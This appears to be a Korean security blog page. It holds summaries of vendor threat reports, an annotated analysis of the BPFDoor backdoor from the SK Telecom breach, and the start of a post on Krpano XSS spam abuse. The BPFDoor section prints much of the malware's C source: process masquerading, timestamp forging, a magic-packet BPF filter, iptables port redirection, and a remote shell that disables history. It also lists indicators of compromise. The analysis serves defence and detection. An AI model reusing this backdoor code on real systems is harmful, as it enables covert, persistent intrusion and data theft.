요약 - 포티넷코리아, ‘2025 글로벌 위협 환경 보고서’ 발표...정보 탈취 맬웨어 공격 500% 급증
- 카스퍼스키, 올해 1월부터 3월까지 국내에서 탐지한 인터넷 기반 사이버 공격이 3백만 건 상회
내용 - 포티넷코리아 '2025 글로벌 위협 환경 보고서’ 발표
> 2024년 사이버 위협 환경을 분석한 보고서
자동화, 상품화된 도구 및 AI를 활용해 기업의 기존 방어 체계를 무력화하고 있음을 보여줌

① 2024년 사이버 공간에서의 자동화 해킹 시도가 전년 대비 16.7% 증가
- FortiGuard Labs은 해킹 시도가 초당 3만 6000건에 달한다고 설명

② 다크넷 마켓플레이스(Darknet Marketplace)에서는 4만 개 이상의 새로운 취약점이 추가
- 2023년 대비 39% 증가했으며, 정보 탈취 맬웨어(Malware)에 의한 시스템 침해 로그는 500% 증가

③ FraudGPT, BlackmailerV3, ElevenLabs 등 윤리적 제약이 없는 AI 도구들이 등장
- 피싱 공격이 더욱 정교해지고, 보안 시스템 우회도 한층 쉬워진 것으로 나타남

④ 산업별 국가별 표적
- 제조업(17%), 비즈니스 서비스(11%), 건설(9%), 소매(9%)
- 미국(61%), 영국(6%), 캐나다(5%) 

⑤ 2024년 Dark Web forums에서 공유한 개인정보와 계정 정보 1000억 건 이상
- 작년 대비 42% 급증한 것으로 분석

- 포티넷 사이버 공격 대응을 위한 CISO 가이드
> 지속적인 위협 노출 관리로의 전환
> 실제 공격 시뮬레이션
> 보안 취약점 노출 최소화
> 고위험 취약점 우선순위 지정
> 다크 웹 모니터링 강화 등의 전략적 가이드라인 제시
===========================================================================================
- 카스퍼스키, 2025년 1분기 ‘카스퍼스키 보안 보고서’
최근 3개월간 대한민국에서 탐지된 인터넷 기반 사이버 위협은 총 3,063,343건
> 웹 기반 위협에 공격받은 사용자 비율은 13.7%로 집계

- 웹 브라우저를 통한 공격
> 악성 프로그램 유포의 주요 수단으로 브라우저 및 플러그인의 취약점을 악용하거나 소셜 엔지니어링을 활용
> 이 경우 사용자가 감염된 웹사이트를 방문하는 것만으로도 자동 감염이 이루어지며, 사용자의 개입이나 인식 없이 악성코드가 실행
> 특히 파일리스 악성코드가 가장 위험_Windows 레지스트리 또는 WMI 구독을 이용하여 지속성을 유지하며, 디스크에 탐지 가능한 개체를 남기지 않기 때문에 정적 분석이 어려움

- 웹 기반 공격의 또 다른 주요 수단인 소셜 엔지니어링 방식
> 인간 행동의 취약점을 악용하여 민감한 정보를 훔치거나 계정을 탈취
> 사용자의 생활에 침투해 사용자가 직접 악성 파일을 다운로드하도록 유도하는 방식
> 공격자는 피해자로 하여금 정상적인 프로그램을 다운로드하는 것처럼 믿게 만들어 악성 파일을 실행하도록 유도

> 오늘날 많은 공격자가 정적 분석과 에뮬레이션을 우회하기 위해 악성 코드를 난독화
머신러닝 기반 탐지 및 행동 분석과 같은 보다 진보된 기술이 필수적

- 최근 3개월간 대한민국에서 발생한 로컬 위협은 총 1,835,168건, 로컬 위협에 공격받은 사용자 비율은 21.5%로 집계
> 로컬 감염 통계는 사용자 컴퓨터가 얼마나 자주 악성코드에 공격받는지를 나타내는 중요한 지표
> 대부분의 로컬 감염은 웜 및 파일 바이러스에 의해 발생하며, USB 드라이브, CD/DVD, 기타 오프라인 방식으로 전파

> 감염된 개체를 치료할 수 있는 안티바이러스 솔루션방화벽 및 루트킷 방지 기능이동식 장치 제어 기능 등의 적용이 필요

- 최근 3개월간 대한민국에서 호스팅된 서버에서 발생한 인시던트는 1,595,680건, 전 세계 19위에 해당하는 수치
기타 - 사이버 범죄자들이 AI와 자동화를 사용해 전례 없는 속도와 규모로 공격 활동을 가속화하고 있음
> 조직은 AI, 제로 트러스트 및 지속적인 위협 노출 관리가 뒷받침하는 데이터 기반 선제적 방어 전략으로 전환할 필요 강조

- AI를 활용한 새로운 종류의 위협이 지속적으로 늘어나고 있는 만큼 위협 정보를 적극 활용하고 사이버 인식을 강화함으로써 사이버 면역력을 높이는 것이 중요

 

보안뉴스

 

“해킹시도 초당 3만6000건, 다크넷에 새 취약점 4만개, 다크웹 유출정보 1000억건 기록” - 데일리

글로벌 사이버 보안 기업 포티넷코리아(대표 조원균)가 \'2025 글로벌 위협 환경 보고서’를 7일 발표했다.이번 보고서는 2024년 사이버 위협 환경을 분석한 것으로, 사이버 공격자들이 자동화, 상

www.dailysecu.com

 

카스퍼스키 “최근 3개월 동안 국내 발생 웹 기반 공격 3백만건 넘어” - 데일리시큐

글로벌 사이버 보안 기업 카스퍼스키(지사장 이효은)가 2025년 1분기 보안 보고서(Kaspersky Security Bulletin)를 인용해 올해 1월부터 3월까지 국내에서 탐지한 인터넷 기반 사이버 공격이 3백만 건을 상

www.dailysecu.com

 

1. 개요

- 공격자는 BPFDoor 악성코드를 사용해 SK텔레콤을 해킹해 데이터를 탈취 [1][2][3][4]
BPF(Berkeley Packet Filter) 기술을 악용해 은닉성과 탐지 회피
> BPF란 OS 커널 레벨에서 동작하는 경량화된 VM 기술로, 네트워크 인터페이스를 통해 수신되는 패킷에 대해 커널 공간에서 직접 필터링
> 시스템 성능과 보안성을 향상시킬 수 있으나, 악성코드에 활용될 경우 탐지 회피 및 은닉성 강화 수단으로 사용됨

2. 소스코드

2.1 프로그램 초기화

- 탐지 회피

> 프로세스 이름을 임의로 선택해 백도어를 일반 프로세스로 위장

> 파일 타임스탬프를 2008년으로 위장 등 탐지를 회피하기 위한 과정을 진행

int main(int argc, char *argv[])
{
        ....

        // 위장할 프로세스 명
        char *self[] = {
                "/sbin/udevd -d",
                "/sbin/mingetty /dev/tty7",
                "/usr/sbin/console-kit-daemon --no-daemon",
                "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
                "dbus-daemon --system",
                "hald-runner",
                "pickup -l -t fifo -u",
                "avahi-daemon: chroot helper",
                "/sbin/auditd -n",
                "/usr/lib/systemd/systemd-journald"
        };
 
        // 일종의 뮤텍스
        pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
        pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
        pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
        pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
        pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
        pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
        pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
        pid_path[21] = 0x00; // /var/run/haldrund.pid
 
        // /var/run/haldrund.pid 파일의 권한 체크
        if (access(pid_path, R_OK) == 0) {
                exit(0);
        }
        
        // 권환 학인
        if (getuid() != 0) {
                return 0;
        }
 
        // /dev/shm/ 경로에 복사 후 즉시 종료
        if (argc == 1) {
                if (to_open(argv[0], "kdmtmpflush") == 0)
                        _exit(0);
                _exit(-1);
        }
 
        ....
 
       // 타임스탬프 위조 (2008년)
        setup_time(argv[0]);
 
       // 프로세스 명 변경
        set_proc_name(argc, argv, cfg.mask);
 
        // 자식 프로세스 생성 후 부모 프로세스 종료 
        if (fork()) exit(0);

        ....

        // 자식 프로세스 종료 시 sigchild 처리해 좀비 프로세스 방지
        signal(SIGCHLD, sig_child);

        ....
 
        // 중복 실행 방지
        close(open(pid_path, O_CREAT|O_WRONLY, 0644));
 
        ....

        // packet_loop 진입
        packet_loop();
        return 0;
}

 

2.2 packet_loop()

- Magic Packet을 포함시켜 패킷을 보내고, BPF를 활용해 받은 패킷들 중에 특정 조건들을 만족하는 패킷들만 통과

> TCP/UDP/ICMP 프로토콜만 허용하며 이 외 패킷은 커널에서 차단

> 이후 실행할 명령을(getshell() or shell() or mon()) 결정

void packet_loop()
{
        ....

        // BPF opcode 정의
        struct sock_filter bpf_code[] = {
                { 0x28, 0, 0, 0x0000000c },
                { 0x15, 0, 27, 0x00000800 },
                { 0x30, 0, 0, 0x00000017 },
                { 0x15, 0, 5, 0x00000011 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 23, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 19, 20, 0x00007255 },
                { 0x15, 0, 7, 0x00000001 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 17, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 0, 14, 0x00007255 },
                { 0x50, 0, 0, 0x0000000e },
                { 0x15, 11, 12, 0x00000008 },
                { 0x15, 0, 11, 0x00000006 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 9, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x50, 0, 0, 0x0000001a },
                { 0x54, 0, 0, 0x000000f0 },
                { 0x74, 0, 0, 0x00000002 },
                { 0xc, 0, 0, 0x00000000 },
                { 0x7, 0, 0, 0x00000000 },
                { 0x48, 0, 0, 0x0000000e },
                { 0x15, 0, 1, 0x00005293 },
                { 0x6, 0, 0, 0x0000ffff },
                { 0x6, 0, 0, 0x00000000 },
        };
 
        ...
                                // cmp의 값에 따라 실행할 명령어 결정
                                switch(cmp) {
                                        case 1:
                                                strcpy(sip, inet_ntoa(ip->ip_src));
                                                getshell(sip, ntohs(tcp->th_dport));
                                                break;
                                        case 0:
                                                scli = try_link(bip, mp->port);
                                                if (scli > 0)
                                                        shell(scli, NULL, NULL);
                                                break;
                                        case 2:
                                                mon(bip, mp->port);
                                                break;
                                }
                                exit(0);
                        }
                }
 
        }
        close(sock);
}

 

※ BPF opcode 해석

- Opcode : 수행할 연산을 나타내는 8비트 코드 (로드, 저장, 산술 연산, 비교, 점프, 반환 등의 다양한 명령 존재)

- jt : 참(True)일 경우 점프할 오프셋을 나타내는 8비트 값 (참일 경우 jt만큼 떨어진 위치의 명령으로 실행 흐름 이동)

- jf : 거짓(False)일 경우 점프할 오프셋을 나타내는 8비트 값 (거짓일 경우 jf만큼 떨어진 위치의 명령으로 실행 흐름 이동)

- k : 명령어에서 사용되는 32비트 상수 값 (로드할 주소의 오프셋, 비교할 값, 산술 연산의 피연산자 등으로 사용)

Line Opcode jt jf k Explanation
0 0x28 0 0 0x0000000c LDH [12] # Load EtherType
1 0x15 0 27 0x00000800 JEQ #0x0800 # If EtherType == IPv4
2 0x30 0 0 0x00000017 LDB [23] # Load IP protocol
3 0x15 0 5 0x00000011 JEQ #0x11 # If protocol == UDP
4 0x28 0 0 0x00000014 LDH [20] # Load fragment offset field
5 0x45 23 0 0x00001fff JSET #0x1FFF # If fragmented, drop
6 0xb1 0 0 0x0000000e TAX # A → X
7 0x48 0 0 0x00000016 LDW [X+22] # Load word at (X+22)
8 0x15 19 20 0x00007255 JEQ #0x7255 # Check magic
9 0x15 0 7 0x00000001 JEQ #0x1 # Special check (condition?)
10 0x28 0 0 0x00000014 LDH [20] # Load fragment offset again
11 0x45 17 0 0x00001fff JSET #0x1FFF # Fragmented?
12 0xb1 0 0 0x0000000e TAX # A → X
13 0x48 0 0 0x00000016 LDW [X+22] # Load word at (X+22)
14 0x15 0 14 0x00007255 JEQ #0x7255 # Re-check magic
15 0x50 0 0 0x0000000e LDXMSH [14] # Load length info
16 0x15 11 12 0x00000008 JEQ #0x8 # Protocol ID?
17 0x15 0 11 0x00000006 JEQ #0x6 # Another protocol check
18 0x28 0 0 0x00000014 LDH [20] # Fragment offset again
19 0x45 9 0 0x00001fff JSET #0x1FFF # Fragmented? again
20 0xb1 0 0 0x0000000e TAX # A → X
21 0x50 0 0 0x0000001a LDXMSH [26] # Load byte from offset 26
22 0x54 0 0 0x000000f0 AND #0xf0 # Mask
23 0x74 0 0 0x00000002 SUB #0x2 # Adjust
24 0x0c 0 0 0x00000000 TAX # A → X
25 0x07 0 0 0x00000000 TXA # X → A
26 0x48 0 0 0x0000000e LDW [X+14] # Load word from (X + 14)
27 0x15 0 1 0x00005293 JEQ #0x5293 # Final magic check
28 0x06 0 0 0x0000ffff RET #0xffff # ACCEPT
29 0x06 0 0 0x00000000 RET #0x0 # DROP

2.2.1 getshell 

- 전달받은 IP에 대해 iptables 명령을 이용해 정책 추가 및 삭제 진행

- 명령 실행을 위한 shell() 호출

void getshell(char *ip, int fromport)
{
        int  sock, sockfd, toport;
        char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};

        // iptables 명령어
        char cmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char rcmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char inputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
        char dinputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
 
        // 42391~43391 범위에서 사용 가능한 포트를 찾고, 해당 포트에 바인딩된 리스닝 소켓 생성
        sockfd = b(&toport); // looks like it selects random ephemral port here
        if (sockfd == -1) return;
 
        // iptables 명령어 실행
        snprintf(cmd, sizeof(cmd), inputfmt, ip);
        snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
        system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT 
        sleep(1);
        memset(cmd, 0, sizeof(cmd));
        snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
        snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
        system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        sleep(1);

       // 클라이언트 연결을 대기하다가 들어오면 accept()로 연결된 소켓 반환
        sock = w(sockfd); // creates a sock that listens on port specified earlier
        if( sock < 0 ){
                close(sock);
                return;
        }
 
        //
        // passes sock and 
        // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT 
        //
        //
 
        // 명령 실행을 위한 shell() 호출
        shell(sock, rcmd, dcmd); 
        close(sock);
}

2.2.2 shell

- rcmd, dcmd 명령 실행이 성공하면 공격자에게 3458 문자열을 전송

int shell(int sock, char *rcmd, char *dcmd)
{
       // 변수 설정
        int subshell;
        fd_set fds;
        char buf[BUF];
        char argx[] = {
                0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
                0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
        char *argvv[] = {argx, NULL, NULL};
        #define MAXENV 256
        #define ENVLEN 256
        char *envp[MAXENV];
        char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
        int ret;
        char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
        char ps[] = {
                0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
                0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$ 
        char histfile[] = {
                0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
                0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
        char mshist[] = {
                0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
                0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
                0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
        char ipath[] = {
                0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
                0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
                0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
                0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
                0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
                0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
                0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
        char term[] = "vt100";
 
        envp[0] = home;
        envp[1] = ps;
        envp[2] = histfile;
        envp[3] = mshist;
        envp[4] = ipath;
        envp[5] = term;
        envp[6] = NULL;
 
       // 전달받은 명령어 실행
        if (rcmd != NULL)
                system(rcmd);
        if (dcmd != NULL)
                system(dcmd);

       // 실행 성공 시 3458 문자열 전송
        write(sock, "3458", 4);
        
        // open_tty() 실패 시, 표준 입력/출력을 소켓으로 리다이렉트하고 쉘 실행
        if (!open_tty()) {
        if (!fork()) {
            dup2(sock, 0);
            dup2(sock, 1);
            dup2(sock, 2);
            execve(sh, argvv, envp);  // 쉘 실행
        }
        close(sock);
        return 0;
    }

    // 의사 터미널 생성 성공 시: 자식 프로세스에서 쉘 실행
    subshell = fork();
    if (subshell == 0) {
        close(pty);
        ioctl(tty, TIOCSCTTY);  // 터미널 설정
        close(sock);
        dup2(tty, 0);
        dup2(tty, 1);
        dup2(tty, 2);
        close(tty);
        execve(sh, argvv, envp);  // 쉘 실행
    }
    close(tty);

    // 데이터 전송 루프 (소켓 ↔ pty)
    while (1) {
        FD_ZERO(&fds);
        FD_SET(pty, &fds);
        FD_SET(sock, &fds);
        if (select((pty > sock) ? (pty+1) : (sock+1), &fds, NULL, NULL, NULL) < 0)
            break;

        // 터미널에서 읽은 데이터 → 소켓으로 전송
        if (FD_ISSET(pty, &fds)) {
            int count = read(pty, buf, BUF);
            if (count <= 0) break;
            if (cwrite(sock, buf, count) <= 0) break;
        }

        // 소켓에서 읽은 데이터 → 터미널로 전송
        if (FD_ISSET(sock, &fds)) {
            int count;
            unsigned char *p, *d;
            d = (unsigned char *)buf;
            count = cread(sock, buf, BUF);
            if (count <= 0) break;

            // 터미널 창 크기 변경 시그널 감지
            p = memchr(buf, ECHAR, count);
            if (p) {
                unsigned char wb[5];
                int rlen = count - ((long)p - (long)buf);
                struct winsize ws;

                if (rlen > 5) rlen = 5;
                memcpy(wb, p, rlen);
                if (rlen < 5) cread(sock, &wb[rlen], 5 - rlen);

                ws.ws_xpixel = ws.ws_ypixel = 0;
                ws.ws_col = (wb[1] << 8) + wb[2];
                ws.ws_row = (wb[3] << 8) + wb[4];
                ioctl(pty, TIOCSWINSZ, &ws);
                kill(0, SIGWINCH);  // 창 크기 변경 시그널

                // 앞뒤 데이터 전송 처리
                write(pty, buf, (long)p - (long)buf);
                rlen = ((long)buf + count) - ((long)p + 5);
                if (rlen > 0) write(pty, p + 5, rlen);
            } else {
                if (write(pty, d, count) <= 0) break;
            }
        }
    }

    // 연결 종료 처리
    close(sock);
    close(pty);
    waitpid(subshell, NULL, 0);  // 자식 쉘 종료 대기
    vhangup();  // 터미널 세션 종료
    exit(0);
}

 

2.2.3 mon

- 대상 IP와 포트로 UDP 1바이트 데이터를 보냄

3. 침해지표

- KISA는 공격에 사용된 IP 및 파일 정보 공유 [5][6]

구분 설명
IP 165.232.174[.]130
파일 o hpasmmld
   - size : 2,265KB
   - SHA1 : e6ccf59c2b7f6bd0f143cde356f60d2217120ad2
   - SHA256 : c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4
   - MD5 : a47d96ffe446a431a46a3ea3d1ab4d6e

o smartadm 
   - size : 2,067KB 
   - SHA1 : 466527d15744cdbb6e1d71129e1798acbe95764d
   - SHA256 : 3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4
   - MD5 : 227fa46cf2a4517aa1870a011c79eb54

o hald-addon-volume
   - size : 2,071KB
   - SHA1 : e3399ea3ebbbd47c588ae807c4bd429f6eef8deb
   - SHA256 : 95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595
   - MD5 : f4ae0f1204e25a17b2adbbab838097bd

o dbus-srv-bin.txt
   - size : 34KB
   - SHA1 : 2ca9a29b139b7b2993cabf025b34ead957dee08b
   - SHA256 : aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4
   - MD5 : 714165b06a462c9ed3d145bc56054566

o dbus-srv
   - size : 34KB
   - SHA1 : 67a3a1f8338262cd9c948c6e55a22e7d9070ca6c
   - SHA256 : 925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173
   - MD5 : 3c54d788de1bf6bd2e7bc7af39270540

o inode262394
   - size : 28KB 
   - SHA1 : 0f12ab32bac3f4db543f702d58368f20b6f5d324
   - SHA256 : 29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb
   - MD5 : fbe4d008a79f09c2d46b0bcb1ba926b3
 
o dbus-srv
   - size : 34KB
   - SHA1 : 4b6824ed764822dc422384cec89d45bbc682ef09
   - SHA256 : be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5
   - MD5 : c2415a464ce17d54b01fc91805f68967

o dbus-srv
   - size : 34KB
   - SHA1 : 213dbb5862a19a423e5b10789a07ee163ab71969
   - SHA256 : 027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416
   - MD5 : aba893ffb1179b2a0530fe4f0daf94da

o dbus-srv
   - size : 32KB
   - SHA1 : 7e7234c5e94a92dd8f43632aca1ac60db7d96d56
   - SHA256 : a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59
   - MD5 : e2c2f1a1fbd66b4973c0373200130676

o File_in_Inode_#1900667
   - size : 28KB
   - SHA1 : c2717777ba2cb9a698889fca884eb7650144f32e
   - SHA256 : e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d
   - MD5 : dc3361ce344917da20f1b8cb4ae0b31d

o gm
   - size : 2,063KB
   - SHA1 : a778d7ad5a23a177f2d348a0ae4099772c09671e
   - SHA256 : adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6
   - MD5 : 5f6f79d276a2d84e74047358be4f7ee1
 
o rad
   - size : 22KB
   - SHA1 : b631d5ed10d0b2c7d9c39f43402cccde7f3cb5ea
   - SHA256 : 7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423
   - MD5 : 0bcd4f14e7d8a3dc908b5c17183269a4

4. 대응방안

- KISA 등 침해사고 위협 정보를 참고하여 자체적으로 보안점검

- 사용자들은 SKT 이슈를 악용한 피싱, 스미싱 등에 대한 대비 필요 [7][8]

- 보안 업계에서 제공하는 BPFDoor 탐지 솔루션 활용[9]

5. 참고

[1] https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c#L257
[2] https://asn6878.tistory.com/24
[3] https://quasitiger.gitlab.io/posts/bpfdoor/
[4] https://lime-jelly.tistory.com/entry/BPFDoor%EB%9E%80-SKT-%ED%95%B4%ED%82%B9-%EC%82%AC%EA%B1%B4%EC%97%90-%EC%82%AC%EC%9A%A9%EB%90%9C-%EB%A6%AC%EB%88%85%EC%8A%A4-BPF-%EB%B0%B1%EB%8F%84%EC%96%B4-%EB%B6%84%EC%84%9D
[5] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71726
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71735
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71727
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71739
[9] https://www.boannews.com/media/view.asp?idx=137180&page=1&kind=1

'악성코드 > 분석' 카테고리의 다른 글

Fast Flux 공격  (0) 2025.04.12
Ragnar Loader 분석 보고서  (0) 2025.03.12
정적분석 (Static Analysis) #4  (1) 2025.03.08
정적분석 (Static Analysis) #3  (1) 2025.03.07
정적분석 (Static Analysis) #2  (0) 2025.03.06

1. 개요

- 미상의 공격자가 Krpano의 reflected XSS 취약점을 악용해 대규모 스팸 광고 표시 [1]

- 정상 웹 사이트(정부 포털, 대학교, 언론 매체, 기업 등)를 SEO 도구로 악용

2. 주요 내용

- 교육적 목적으로 크롬 시크릿 모드에서 구글에 접속하여 "포르노"를 검색

> 예일대 도메인으로 포르노 광고가 표시되는 것을 확인

[사진 1] 예일대 도메인의 포르노 광고

- 서브도메인을 탈취해 사용자들을 악성 사이트로 연결되도록 공격을 진행한 것으로 의심

> 서브도메인이 관리되지 않거나, 서비스는 중단되었으나 DNS CNAME 레코드를 삭제하지 않은 경우 공격자가 동일한 자원을 재등록

> 기업의 서브도메인이 새로 등록된 공격자가 설정한 악성 사이트로 접속되도록 하는 공격

※ CNAME Record : DNS 내에서 별칭 역할을 하며 한 도메인 이름을 다른 도메인 이름으로 리디렉션

 

- 그러나 URL을 확인한 결과, xml 매개변수에 의심스러운 URL을 포함

> xml 매개변수 없이 URL에 접속하니 예일대 관련 정상 사이트로 접근됨

> 오픈 리다이렉션 공격을 의심해 xml 매개변수 값을 다른 URL로 변경하여 접속하였으나 오류 발생

hxxps://virtualtour.quantuminstitute.yale.edu/?id=yuxs&xml=hxxps://staging-prep-cms.scouts.org.uk/lnk/video/?video=video-xx-indain-girl-xxx-xxxxxxx-xvid-60159.html

 

- 다음으로 URL의 응답 내용을 조사해보니, 응답에 Base64로 인코딩된 값을 실행하는 eval() 함수가 확인

[사진 2] Base64 인코딩/디코딩 비교

